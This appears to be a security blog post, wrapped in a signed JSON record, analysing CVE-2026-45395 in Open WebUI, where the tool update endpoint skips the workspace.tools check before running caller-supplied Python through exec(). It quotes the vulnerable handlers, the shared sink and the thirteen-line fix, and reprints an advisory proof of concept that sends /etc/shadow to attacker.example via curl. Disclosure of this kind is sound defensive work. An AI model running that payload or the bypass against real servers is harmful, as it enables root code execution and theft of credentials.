-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The create endpoint asked. The update endpoint did not.\n\n`POST /api/v1/tools/create` lives in `backend/open_webui/routers/tools.py`. Its handler begins with a workspace-permission check:\n\n```python\n@router.post('/create', response_model=Optional[ToolResponse])\nasync def create_new_tools(\n request: Request,\n form_data: ToolForm,\n user=Depends(get_verified_user),\n db: AsyncSession = Depends(get_async_session),\n):\n if user.role != 'admin' and not (\n await has_permission(user.id, 'workspace.tools', request.app.state.config.USER_PERMISSIONS, db=db)\n or await has_permission(\n user.id,\n 'workspace.tools_import',\n request.app.state.config.USER_PERMISSIONS,\n db=db,\n )\n ):\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nA non-admin caller without `workspace.tools` and without `workspace.tools_import` cannot reach the body of `create_new_tools`. The gate is the first thing the handler runs, before any form validation, before any database read. The endpoint exists to admit Python source for server-side execution and the author wrote the precondition accordingly.\n\n`POST /api/v1/tools/id/{id}/update` lives in the same file. Its handler begins with a different check:\n\n```python\n@router.post('/id/{id}/update', response_model=Optional[ToolModel])\nasync def update_tools_by_id(\n request: Request,\n id: str,\n form_data: ToolForm,\n user=Depends(get_verified_user),\n db: AsyncSession = Depends(get_async_session),\n):\n tools = await Tools.get_tool_by_id(id, db=db)\n if not tools:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.NOT_FOUND,\n )\n\n # Is the user the original creator, in a group with write access, or an admin\n if (\n tools.user_id != user.id\n and not await AccessGrants.has_access(\n user_id=user.id,\n resource_type='tool',\n resource_id=tools.id,\n permission='write',\n db=db,\n )\n and user.role != 'admin'\n ):\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nBoth handlers accept the same `ToolForm`. Both call `load_tool_module_by_id(id, content=form_data.content)` inside their `try` block. Both reach the same `exec()`. One asks `has_permission(user.id, 'workspace.tools', ...)`. The other asks whether the caller holds a per-resource `write` grant.\n\n## The same exec() sink, reached through two doors.\n\n`load_tool_module_by_id` lives in `backend/open_webui/utils/plugin.py`. It is shared between the create handler and the update handler:\n\n```python\nasync def load_tool_module_by_id(tool_id, content=None):\n ...\n module_name = f'tool_{tool_id}'\n module = types.ModuleType(module_name)\n sys.modules[module_name] = module\n\n temp_file = tempfile.NamedTemporaryFile(delete=False)\n temp_file.close()\n try:\n with open(temp_file.name, 'w', encoding='utf-8') as f:\n f.write(content)\n module.__dict__['__file__'] = temp_file.name\n\n # Executing the modified content in the created module's namespace\n exec(content, module.__dict__)\n```\n\nThe same function also calls `install_frontmatter_requirements(frontmatter.get('requirements', ''))` earlier in the path when `content` is supplied by the caller. That helper resolves to `subprocess.check_call([sys.executable, '-m', 'pip', 'install', ...])` on the package names the caller stuffed into the frontmatter requirements field. With `ENABLE_PIP_INSTALL_FRONTMATTER_REQUIREMENTS` enabled, a single update request reaches the sink twice: once via `pip install` on caller-supplied package names, and once via `exec()` on caller-supplied Python. The default Docker deployment runs the worker as root.\n\nThe exec fires inside the handler's `try` block, before the DB write that records the new content. Module-import time is exec time. There is no separate \"load tool\" step the caller has to trigger by invoking the tool. The update request is the load request.\n\n## The write grant was documented as a collaboration primitive.\n\nThe advisory PoC, reported by KadirArslan in [GHSA-p4fx-23fq-jfg6](https://github.com/advisories/GHSA-p4fx-23fq-jfg6), uses three actors:\n\n1. The administrator enables `workspace.tools` for at least one non-admin user.\n2. Alice, who holds `workspace.tools`, creates a tool whose content is benign.\n3. Alice grants Bob `write` access on that specific tool. This is the share primitive Open WebUI's UI exposes for collaboration: edit description, adjust valves, manage access grants.\n4. The administrator revokes `workspace.tools` globally, or never gave it to Bob.\n5. Bob, who has neither `workspace.tools` nor `workspace.tools_import`, calls `POST /api/v1/tools/id/{tool_id}/update` with `form_data.content` set to:\n\n```python\nimport subprocess\nsubprocess.Popen(\n ['curl', 'https://attacker.example/?d=' + open('/etc/shadow').read()]\n)\n\nclass Tools:\n def __init__(self):\n pass\n```\n\nThe update handler runs its single gate. Is Bob the tool's owner? No. Does Bob have `write` access on this resource? Yes; Alice granted it. Is Bob an admin? No. The gate evaluates as permitted on the second branch. Control falls through to `load_tool_module_by_id`. `exec(content, module.__dict__)` runs the `subprocess.Popen` line before Python ever reaches `class Tools`, because module-level statements execute at exec time.\n\nThe vendor's commit message reproduces the chain end-to-end: \"Alice trusted with `workspace.tools` creates a tool and shares write to Bob; Bob updates content and the new code runs as root inside the container, with Burp Collaborator confirming outbound exfiltration.\"\n\nThe `write` grant Alice handed Bob flows through one `AccessGrants.has_access(... permission='write', ...)` call. So does the content overwrite. Both reads of the same grant return true, because there is only one grant. This is a trust inversion: the collaboration credential the UI presents as \"let my coworker fix typos in the description\" is the same credential that satisfied the gate on the endpoint that admits Python source into the exec sink. The administrator's allowlist on `workspace.tools` decided who could ship Python in theory. The per-resource share decided in practice.\n\n## Root-equivalent, by share.\n\nThe repository's `docs/SECURITY.md` is unambiguous about what `workspace.tools` means:\n\n> Treat the `workspace.tools` permission as **root-equivalent access**. Only grant it to users you would trust with direct access to your server. If you enable this permission for untrusted users, you are accepting the risk of arbitrary code execution on your host.\n\nThat paragraph is the contract between the vendor and the administrator. The administrator's job is to gate `workspace.tools` on a tight allowlist of users they would trust with shell on the server. The vendor's job is to honor the signal at every site the application admits code into the exec sink.\n\nThe create endpoint honors it. The update endpoint never asked. A per-resource share, the collaboration primitive the UI presents as a small-scope delegation for description and valve edits, was the bypass for the workspace-wide trust signal the vendor's own documentation defines as root-equivalent. The administrator's allowlist was bounded by the surface the vendor advertised. The actual surface included an endpoint that reached the same exec through a different door.\n\nThis is the `parallel-implementation-gap` pattern. Two write paths into the same content store share a client-facing contract: submit Python source that the server will `exec()`. The canonical handler imports the workspace-permission gate from `open_webui.utils.access_control.has_permission`. The divergent handler never imports it. The CVE names the divergent handler. The two functions are 125 lines apart in the same file, by an author who knew the create endpoint's precondition existed and chose a different precondition for the update endpoint.\n\n## Yesterday's patch was the same shape. The same maintainer shipped both.\n\nThe maintainer credited on commit `841c9045` is `Classic298`. The same maintainer credited on the redirect-SSRF cluster patched the day before, [CVE-2026-45401](/posts/open-webui-cve-2026-45401-one-validator-five-fetchers), is `Classic298`. CVE-2026-45401 closed five sibling fetchers that each called `validate_url()` and then independently let the HTTP library follow 3xx redirects. CVE-2026-45395 closes the second of two sibling write paths that each ran `load_tool_module_by_id` and only one of which asked for `workspace.tools` first. Both CVEs are the same shape at different abstraction levels: a shared sink, multiple sibling callers, one caller holds the gate, the others did not. Both were closed in the same week by the same person.\n\nBy contrast, `backend/open_webui/routers/functions.py`, which exposes the parallel exec sink `load_function_module_by_id` for the Functions feature, declares both create and update with `user=Depends(get_admin_user)` at the FastAPI dependency level. Functions stayed admin-only on both endpoints and inherited the symmetry by accident: there was no second authorization model to mirror, so there was nothing to forget to mirror. The Tools router asked for finer authorization, and finer authorization is where the gate fell off.\n\nThat is the design-debt driver shape Open WebUI's tool subsystem keeps producing. Each new authorization model the project supports (admin role, workspace permission, per-resource access grant) is one more axis the next handler can disagree with the prior handlers about. The patches close instances. The design that produces them, multiple sibling callers of a shared sink with no central enforcement function, remains.\n\n## The patch is thirteen lines.\n\nCommit `841c9045` adds thirteen lines to `update_tools_by_id`. After the existing ownership / write-grant / admin gate, the patch adds a content-change check. If `form_data.content != tools.content`, it requires `workspace.tools` or `workspace.tools_import`, or admin role:\n\n```python\nif form_data.content != tools.content:\n if user.role != 'admin' and not (\n await has_permission(user.id, 'workspace.tools', request.app.state.config.USER_PERMISSIONS, db=db)\n or await has_permission(\n user.id, 'workspace.tools_import', request.app.state.config.USER_PERMISSIONS, db=db\n )\n ):\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nThe block reads almost identically to the precondition on `create_new_tools` ninety lines above it. That is the fix. The patch imports the same gate the create endpoint already imported, predicates it on `content`-changed so legitimate metadata edits keep flowing through the existing share path, and ships. Metadata edits (`name`, `description`, valves config, access grants) flow through the existing gate unchanged.\n\nThe CVE is the time between the two functions being written.\n\nPoC: [GHSA-p4fx-23fq-jfg6](https://github.com/advisories/GHSA-p4fx-23fq-jfg6), reported by KadirArslan.","closing_line":"The create endpoint asked. The update endpoint did not. Both reached the same `exec()`.","hook_md":"Open WebUI's own `docs/SECURITY.md` tells administrators to treat the `workspace.tools` permission as root-equivalent access. That paragraph is the contract operators read when they decide who can ship Python source to the worker. CVE-2026-45395 is the bug where the gate the vendor's policy named was on one of the two endpoints that reached the exec. The maintainer who closed [yesterday's SSRF gap in the same codebase](/posts/open-webui-cve-2026-45401-one-validator-five-fetchers) closed this one in a thirteen-line commit twenty-four hours later.","post_id":448,"slug":"open-webui-cve-2026-45395-create-asked-update-did-not","title":"CVE-2026-45395: Open WebUI's Create Endpoint Asked For workspace.tools. The Update Endpoint Did Not.","type":"initial","unreadable_sentence":"The create endpoint asked. The update endpoint did not. Both reached the same exec()."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCam96gAAKCRDeZjl4jgkQ Jq8RAP0RJGj/PbxmNTtideo/R+tdL/ssysYMmSTbw8KSjl5/xAEAlhErccmr8meu /wrMlv/Zin9Swt9PuW4WcJbYIPQXoQI= =OR3a -----END PGP SIGNATURE-----